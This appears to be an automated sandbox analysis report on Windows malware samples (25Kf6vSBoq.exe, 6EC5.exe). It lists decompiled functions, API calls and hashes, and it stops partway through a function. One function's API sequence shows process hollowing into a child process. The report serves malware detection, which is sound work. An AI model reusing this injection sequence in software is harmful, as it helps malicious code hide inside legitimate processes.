API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: fdcdd448e6b8bcbf0c6b5ab0ca15c3fd51ab0a61d4fd7e444713d96113888b30
Instruction ID: b40f90978daf3ef329ab61763e319925ae037b8b9623a4d20099a1721ada3600
Opcode Fuzzy Hash: fdcdd448e6b8bcbf0c6b5ab0ca15c3fd51ab0a61d4fd7e444713d96113888b30
Instruction Fuzzy Hash: 56A01132088208A3C2002282AA0AB823A8CC3C8B22F000020F20C0A8A00AA2A82080AA

Uniqueness

Uniqueness Score: -1.00%

Function 0041C340, Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_() {
				void* _t3;
				void* _t4;

				E00422F80(); // executed
				return L0041C360(_t3, _t4);
			}

0x0041c345
0x0041c350

APIs

___security_init_cookie.LIBCMTD ref: 0041C345

Memory Dump Source

Source File: 00000001.00000002.256869881.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.256865532.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.256895001.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.257155843.0000000002B35000.00000002.00020000.sdmp Download File

Similarity

API ID: ___security_init_cookie
String ID:
API String ID: 3657697845-0
Opcode ID: 801511838882745d238d90719077076ab6878bacc9057c11ec7af23bfa7a170d
Instruction ID: 62e926cdd4df3c237a0c63636b8c015586018905d673ed3a2f22195a38f3ed02
Opcode Fuzzy Hash: 801511838882745d238d90719077076ab6878bacc9057c11ec7af23bfa7a170d
Instruction Fuzzy Hash: F3A0023134466D27015033E71A4794EF56D58C0B187D6411EB928025071C9CA94150AF

Uniqueness

Uniqueness Score: -1.00%

Function 02E6D7C6, Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 02E6D817

Memory Dump Source

Source File: 00000001.00000002.257265550.0000000002E69000.00000040.00000001.sdmp, Offset: 02E69000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 261c5aab0f33c88c3d22c4785e2e0d50f409c174cf53a3a5923db06e9980a11b
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 38112D79A40208EFDB01DF98C989E98BBF5AF08750F05C094F9489B362D371EA50DF80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004203D0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E004203D0(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				long _t15;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr* _t29;
				void* _t34;

				_t25 = __esi;
				_t24 = __edi;
				_t22 = __edx;
				_t20 = __ecx;
				_t19 = __ebx;
				_t6 = __eax;
				_t34 = _t20 -  *0x43d1d4; // 0xeea20e32
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x43ef30 = _t6;
				 *0x43ef2c = _t20;
				 *0x43ef28 = _t22;
				 *0x43ef24 = _t19;
				 *0x43ef20 = _t25;
				 *0x43ef1c = _t24;
				 *0x43ef48 = ss;
				 *0x43ef3c = cs;
				 *0x43ef18 = ds;
				 *0x43ef14 = es;
				 *0x43ef10 = fs;
				 *0x43ef0c = gs;
				asm("pushfd");
				_pop( *0x43ef40);
				 *0x43ef34 =  *_t29;
				 *0x43ef38 = _v0;
				 *0x43ef44 =  &_a4;
				 *0x43ee80 = 0x10001;
				_t11 =  *0x43ef38; // 0x0
				 *0x43ee34 = _t11;
				 *0x43ee28 = 0xc0000409;
				 *0x43ee2c = 1;
				_t21 =  *0x43d1d4; // 0xeea20e32
				_v812 = _t21;
				_t23 =  *0x43d1d8; // 0x115df1cd
				_v808 = _t23;
				 *0x43ee78 = IsDebuggerPresent();
				_push(1);
				E00426B90(_t12);
				SetUnhandledExceptionFilter(0);
				_t15 = UnhandledExceptionFilter("(�C");
				if( *0x43ee78 == 0) {
					_push(1);
					E00426B90(_t15);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x004203d0
0x004203d0
0x004203d0
0x004203d0
0x004203d0
0x004203d0
0x004203d0
0x004203d6
0x004203d8
0x004203d8
0x0042cc2b
0x0042cc30
0x0042cc36
0x0042cc3c
0x0042cc42
0x0042cc48
0x0042cc4e
0x0042cc55
0x0042cc5c
0x0042cc63
0x0042cc6a
0x0042cc71
0x0042cc78
0x0042cc79
0x0042cc82
0x0042cc8a
0x0042cc92
0x0042cc9d
0x0042cca7
0x0042ccac
0x0042ccb1
0x0042ccbb
0x0042ccc5
0x0042cccb
0x0042ccd1
0x0042ccd7
0x0042cce3
0x0042cce8
0x0042ccea
0x0042ccf4
0x0042ccff
0x0042cd0c
0x0042cd0e
0x0042cd10
0x0042cd15
0x0042cd2d

APIs

IsDebuggerPresent.KERNEL32 ref: 0042CCDD
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0042CCF4
UnhandledExceptionFilter.KERNEL32((C), ref: 0042CCFF
GetCurrentProcess.KERNEL32(C0000409), ref: 0042CD1D
TerminateProcess.KERNEL32(00000000), ref: 0042CD24

Strings

(C, xrefs: 0042CCFA

Memory Dump Source

Source File: 00000001.00000002.256869881.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.256865532.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.256895001.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.257155843.0000000002B35000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID: (C
API String ID: 2579439406-3375610692
Opcode ID: af6972b9c3d82b21718890dd16d9d665731d74a1f5daf12a4ecd50c50a61e23f
Instruction ID: ab1c5a64931e7d8763ab6dc255e252f6be9df93146680872de7bc963ccbcc3b5
Opcode Fuzzy Hash: af6972b9c3d82b21718890dd16d9d665731d74a1f5daf12a4ecd50c50a61e23f
Instruction Fuzzy Hash: D62105B9912214EBD700DF26FD856487BA0BB5C311F50643AE909973F2E7F569808F8E

Uniqueness

Uniqueness Score: -1.00%

Function 02E6D3E4, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.257265550.0000000002E69000.00000040.00000001.sdmp, Offset: 02E69000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 9d96c454a4c3d15dca67e3e86079e6c3969815688c8f3ee3594ede62f7f8dc1a
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 6011AC72380100AFD754DF59DCC4FB673EAEB88260B598065ED04CB706D675EC02CB60

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 25Kf6vSBoq.exe PID: 5668 Parent PID: 2904 25Kf6vSBoq.exeCOMMON

Executed Functions

Function 004017EA, Relevance: 3.1, APIs: 2, Instructions: 54sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000002.00000002.311768026.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 093506dd62a563d0441f59a8a05229de1ffc0c7044889409d056a06326e13c21
Instruction ID: e26adff564c5d3d37a4e8030c80122da76794021b5cb737f4d399c49089bd509
Opcode Fuzzy Hash: 093506dd62a563d0441f59a8a05229de1ffc0c7044889409d056a06326e13c21
Instruction Fuzzy Hash: 7001B537604205EADB007EB59D819A93B68AF04365F248777BA12B91F1C938C652A71B

Uniqueness

Uniqueness Score: -1.00%

Function 0040185B, Relevance: 3.0, APIs: 2, Instructions: 50sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000002.00000002.311768026.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 1770049ace98a7458e43cc493052677b39fde3cfbd9b887cff6db6baf57fddbe
Instruction ID: a7be6de418827693af2ab350a5dd922dd862006562865765dfea97ffb81bfcac
Opcode Fuzzy Hash: 1770049ace98a7458e43cc493052677b39fde3cfbd9b887cff6db6baf57fddbe
Instruction Fuzzy Hash: BF014F33604204FAEB047A929C45DAA3628AB04355F30C533BA13B90F1D97CCB12A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401866, Relevance: 3.0, APIs: 2, Instructions: 45sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000002.00000002.311768026.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: dc1226d4bc2db8ad8be4ba055d694b18d68c57301a1c136da16781e7116eb212
Instruction ID: e54376f1e00a1b05e1b0a4da34ea36749e6d38f0b530b75836749d90234edb27
Opcode Fuzzy Hash: dc1226d4bc2db8ad8be4ba055d694b18d68c57301a1c136da16781e7116eb212
Instruction Fuzzy Hash: DB018637604204EBDB047AD29C41EAA3725AF14315F24C177FE12BA0F1D53D8712A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401884, Relevance: 3.0, APIs: 2, Instructions: 40sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000002.00000002.311768026.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 06c47be1babc5c9914373f87bf5e5a6e30058494f01aa4c1fe81d8ba10f9d84d
Instruction ID: 5cccd4a7217d25da87a080ae0d04b05742d3a6582cdde403d0d4fd1f208729a0
Opcode Fuzzy Hash: 06c47be1babc5c9914373f87bf5e5a6e30058494f01aa4c1fe81d8ba10f9d84d
Instruction Fuzzy Hash: DFF01237644205FBDB047A919C41EAA3729AF44355F20C137BB13790F1C57C8652A72B

Uniqueness

Uniqueness Score: -1.00%

Function 0040187A, Relevance: 3.0, APIs: 2, Instructions: 39sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000002.00000002.311768026.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: d2cc8ded923418a485b63d44c0e9af69491e3bef1ae54f85540c04aa078cd151
Instruction ID: 5d822ad72a3bc969102d855418471fb3ff8b776078c2435d27f60d427d7e2b1d
Opcode Fuzzy Hash: d2cc8ded923418a485b63d44c0e9af69491e3bef1ae54f85540c04aa078cd151
Instruction Fuzzy Hash: 88F0FF33604205EBDB047AD59C41EAA3729AF04315F20C537BA12790F1CA3D8612AB2B

Uniqueness

Uniqueness Score: -1.00%

Function 004018D3, Relevance: 1.5, APIs: 1, Instructions: 45
nativeCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E004018D3(intOrPtr* __eax, void* __ebx, void* __ecx, void* __edi) {

				 *__eax =  *__eax + __eax;
				__eax = L0040118A(__eax, __ebx, __ecx, __edi, __eflags);
				_pop(__edi);
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x004018db
0x004018e5
0x004018ea
0x004018ec
0x004018ed
0x004018ed
0x004018ee

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000002.00000002.311768026.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 2828a8cd754e6382065d6a4fb934443d5e18941ecfa79c6ebd95b6c34ee4dc7b
Instruction ID: 169e4967cc86e0c75baf1baab42a0cf60a3c7d0871e4951e2e4ac70a2d426d6d
Opcode Fuzzy Hash: 2828a8cd754e6382065d6a4fb934443d5e18941ecfa79c6ebd95b6c34ee4dc7b
Instruction Fuzzy Hash: 49F0C873604150EBD7013AA19C42AF63769EF01321F248137F923A50F1C63D8612B72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401888, Relevance: 1.5, APIs: 1, Instructions: 37nativeCOMMON

Download Yara Rule

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000002.00000002.311768026.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 2a49fbe38ca64fb741f40d4948de9f53ca9b58de087dcfee36be181988c04280
Instruction ID: 934e5413d765c160eebb9f9f9fdb0e9e8b4c73449cfdb306a0b7eda1d20c3935
Opcode Fuzzy Hash: 2a49fbe38ca64fb741f40d4948de9f53ca9b58de087dcfee36be181988c04280
Instruction Fuzzy Hash: 70F03073604104EADB007A959C41AAA3359FB05325F248537BE13B50E1C63D8612B727

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004015DB, Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.311768026.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed2891f3b553ceccb1197e576bb3cc6c62237795c24559e61feaca1efd6c1519
Instruction ID: fd271a60069478d9e85e2fad7deaa7712c787be95f3be9aeab1b4b987b801010
Opcode Fuzzy Hash: ed2891f3b553ceccb1197e576bb3cc6c62237795c24559e61feaca1efd6c1519
Instruction Fuzzy Hash: D901AF73818B07AB43709A7C4D8901E7F955A91230B494B6DB672B3EFAE634C90283C5

Uniqueness

Uniqueness Score: -1.00%

Function 0040156A, Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.311768026.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98ce89cfeeb5ddd9997256b5ea2b205477bd2588cb9c6c16e4865f99cdeb7182
Instruction ID: 4f6bc8fa09aa5bdcf42d43fc69351f521f911aca1d628afa7bc85602f15907e6
Opcode Fuzzy Hash: 98ce89cfeeb5ddd9997256b5ea2b205477bd2588cb9c6c16e4865f99cdeb7182
Instruction Fuzzy Hash: 0D019E76558F0B6F43509D3C4A8554ABF525A9A1307C40B2CB272B3BFAD734C5018380

Uniqueness

Uniqueness Score: -1.00%

Function 0040163B, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.311768026.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00b9d1c930405a9e521bac72b58a8e4ce3d6aa83d2bf40b4aa186e223dc26d8b
Instruction ID: 654c97a3283950a455190b9e492aed8f63260678440c25cc401c338180771753
Opcode Fuzzy Hash: 00b9d1c930405a9e521bac72b58a8e4ce3d6aa83d2bf40b4aa186e223dc26d8b
Instruction Fuzzy Hash: 1BD022B2474A16120612853C0C4802E7E0A08C31303C50F443633F30FDC218890743C4

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 6EC5.exe PID: 6952 Parent PID: 3292 6EC5.exeCOMMON

Executed Functions

Function 02C30110, Relevance: 22.7, APIs: 15, Instructions: 248memorynativethreadCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 02C30156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 02C3016C
CreateProcessA.KERNELBASE(?,00000000), ref: 02C30255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02C30270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02C30283
GetThreadContext.KERNELBASE(00000000,?), ref: 02C3029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 02C302C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 02C302E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 02C30304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 02C3032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 02C30399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 02C303BF
SetThreadContext.KERNELBASE(00000000,?), ref: 02C303E1
ResumeThread.KERNELBASE(00000000), ref: 02C303ED
ExitProcess.KERNEL32(00000000), ref: 02C30412

Memory Dump Source

Source File: 0000000D.00000002.371257843.0000000002C30000.00000040.00000001.sdmp, Offset: 02C30000, based on PE: false

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: c6b193235028447108966d143ef2cc8c3165ff1927b7c4aef5688cec8cb01966
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 7AB1C875A00208AFDB44CF98C895F9EBBB5FF88314F248158E509AB391D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 02C30420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 02C30533

Strings

saodkfnosa9uin, xrefs: 02C304DA
d, xrefs: 02C30584
mfoaskdfnoa, xrefs: 02C30520, 02C30523
0, xrefs: 02C30492

Memory Dump Source

Source File: 0000000D.00000002.371257843.0000000002C30000.00000040.00000001.sdmp, Offset: 02C30000, based on PE: false

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: e714eef2ddec2e9f2613b8f5693f91a4741c6ede11c77d129e585485fb5074f1
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: AC511871D083C8DAEB12CBE8C849BDDBFB2AF11708F144058D5447F286C3BA5658CB66

Uniqueness

Uniqueness Score: -1.00%

Function 02C305B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 02C305EC

Strings

o, xrefs: 02C30600
apfHQ, xrefs: 02C305E2, 02C305E5

Memory Dump Source

Source File: 0000000D.00000002.371257843.0000000002C30000.00000040.00000001.sdmp, Offset: 02C30000, based on PE: false

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 6d0de0bcf998171713baf96b9ea5677a3a6a5caf3fcf9c731c38992b51a966cd
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 22012171C0425CEEDF15DB98C5183AEBFB5AF41308F1484D9C8092B242D7769B58CBA5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: 6EC5.exe PID: 7072 Parent PID: 6952 6EC5.exeCOMMON

Executed Functions

Function 004017EA, Relevance: 3.1, APIs: 2, Instructions: 54sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 0000000F.00000002.382639554.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 093506dd62a563d0441f59a8a05229de1ffc0c7044889409d056a06326e13c21
Instruction ID: e26adff564c5d3d37a4e8030c80122da76794021b5cb737f4d399c49089bd509
Opcode Fuzzy Hash: 093506dd62a563d0441f59a8a05229de1ffc0c7044889409d056a06326e13c21
Instruction Fuzzy Hash: 7001B537604205EADB007EB59D819A93B68AF04365F248777BA12B91F1C938C652A71B

Uniqueness

Uniqueness Score: -1.00%

Function 0040185B, Relevance: 3.0, APIs: 2, Instructions: 50sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 0000000F.00000002.382639554.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 1770049ace98a7458e43cc493052677b39fde3cfbd9b887cff6db6baf57fddbe
Instruction ID: a7be6de418827693af2ab350a5dd922dd862006562865765dfea97ffb81bfcac
Opcode Fuzzy Hash: 1770049ace98a7458e43cc493052677b39fde3cfbd9b887cff6db6baf57fddbe
Instruction Fuzzy Hash: BF014F33604204FAEB047A929C45DAA3628AB04355F30C533BA13B90F1D97CCB12A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401866, Relevance: 3.0, APIs: 2, Instructions: 45sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 0000000F.00000002.382639554.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: dc1226d4bc2db8ad8be4ba055d694b18d68c57301a1c136da16781e7116eb212
Instruction ID: e54376f1e00a1b05e1b0a4da34ea36749e6d38f0b530b75836749d90234edb27
Opcode Fuzzy Hash: dc1226d4bc2db8ad8be4ba055d694b18d68c57301a1c136da16781e7116eb212
Instruction Fuzzy Hash: DB018637604204EBDB047AD29C41EAA3725AF14315F24C177FE12BA0F1D53D8712A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401884, Relevance: 3.0, APIs: 2, Instructions: 40sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 0000000F.00000002.382639554.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 06c47be1babc5c9914373f87bf5e5a6e30058494f01aa4c1fe81d8ba10f9d84d
Instruction ID: 5cccd4a7217d25da87a080ae0d04b05742d3a6582cdde403d0d4fd1f208729a0
Opcode Fuzzy Hash: 06c47be1babc5c9914373f87bf5e5a6e30058494f01aa4c1fe81d8ba10f9d84d
Instruction Fuzzy Hash: DFF01237644205FBDB047A919C41EAA3729AF44355F20C137BB13790F1C57C8652A72B

Uniqueness

Uniqueness Score: -1.00%

Function 0040187A, Relevance: 3.0, APIs: 2, Instructions: 39sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 0000000F.00000002.382639554.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: d2cc8ded923418a485b63d44c0e9af69491e3bef1ae54f85540c04aa078cd151
Instruction ID: 5d822ad72a3bc969102d855418471fb3ff8b776078c2435d27f60d427d7e2b1d
Opcode Fuzzy Hash: d2cc8ded923418a485b63d44c0e9af69491e3bef1ae54f85540c04aa078cd151
Instruction Fuzzy Hash: 88F0FF33604205EBDB047AD59C41EAA3729AF04315F20C537BA12790F1CA3D8612AB2B

Uniqueness

Uniqueness Score: -1.00%

Function 004026C8, Relevance: 1.5, APIs: 1, Instructions: 47
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004026C8(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				struct _OBJDIR_INFORMATION _v8;
				char _v16;
				void* __ebx;
				void* __edi;
				void* __ebp;
				long _t12;
				void* _t13;
				void* _t16;
				intOrPtr _t20;
				void* _t22;
				void* _t25;
				UNICODE_STRING* _t26;
				intOrPtr* _t28;

				_t20 =  *_t28;
				L0040118A(0x2700, _t16, _t20, _t22, __eflags);
				_t17 = _a4;
				_t26 =  &_v16;
				 *((intOrPtr*)(_a4 + 0xc))(_t26, _a8, __ecx, 0x51, _t22, _t25, _t16);
				_t23 =  &_v8;
				_t12 = LdrLoadDll(0, 0, _t26,  &_v8);
				_t31 = _t12;
				if(_t12 != 0) {
					_v8 = 0;
				}
				_t13 = 0x2700;
				L0040118A(_t13, _t17, 0x51, _t23, _t31);
				return _v8;
			}

0x004026ee
0x004026fb
0x00402700
0x00402703
0x0040270a
0x0040270d
0x00402716
0x00402719
0x0040271b
0x0040271d
0x0040271d
0x00402730
0x0040274c
0x00000000

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402716

Memory Dump Source

Source File: 0000000F.00000001.370580124.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: fb1d288646eac737f9562cb4a2b5784598c588a48ffd6e473a319c7d6c35b7e7
Instruction ID: 40dc2efb075a3afc972c71eb076c1c0414e6b27fd6f2b5cc45f04f39bc90cd3d
Opcode Fuzzy Hash: fb1d288646eac737f9562cb4a2b5784598c588a48ffd6e473a319c7d6c35b7e7
Instruction Fuzzy Hash: C9016231608504E7DB006A419E4DBAA7764AB44754F208437FA067B1C0D6FD9A4BB76B

Uniqueness

Uniqueness Score: -1.00%

Function 004018D3, Relevance: 1.5, APIs: 1, Instructions: 45
nativeCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E004018D3(intOrPtr* __eax, void* __ebx, void* __ecx, void* __edi) {

				 *__eax =  *__eax + __eax;
				__eax = L0040118A(__eax, __ebx, __ecx, __edi, __eflags);
				_pop(__edi);
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x004018db
0x004018e5
0x004018ea
0x004018ec
0x004018ed
0x004018ed
0x004018ee

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 0000000F.00000002.382639554.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 2828a8cd754e6382065d6a4fb934443d5e18941ecfa79c6ebd95b6c34ee4dc7b
Instruction ID: 169e4967cc86e0c75baf1baab42a0cf60a3c7d0871e4951e2e4ac70a2d426d6d
Opcode Fuzzy Hash: 2828a8cd754e6382065d6a4fb934443d5e18941ecfa79c6ebd95b6c34ee4dc7b
Instruction Fuzzy Hash: 49F0C873604150EBD7013AA19C42AF63769EF01321F248137F923A50F1C63D8612B72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401888, Relevance: 1.5, APIs: 1, Instructions: 37nativeCOMMON

Download Yara Rule

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 0000000F.00000002.382639554.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 2a49fbe38ca64fb741f40d4948de9f53ca9b58de087dcfee36be181988c04280
Instruction ID: 934e5413d765c160eebb9f9f9fdb0e9e8b4c73449cfdb306a0b7eda1d20c3935
Opcode Fuzzy Hash: 2a49fbe38ca64fb741f40d4948de9f53ca9b58de087dcfee36be181988c04280
Instruction Fuzzy Hash: 70F03073604104EADB007A959C41AAA3359FB05325F248537BE13B50E1C63D8612B727

Uniqueness

Uniqueness Score: -1.00%

Function 004026D3, Relevance: 1.5, APIs: 1, Instructions: 42
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E004026D3(void* __ebx, void* __ecx, void* __edi, void* __eflags) {
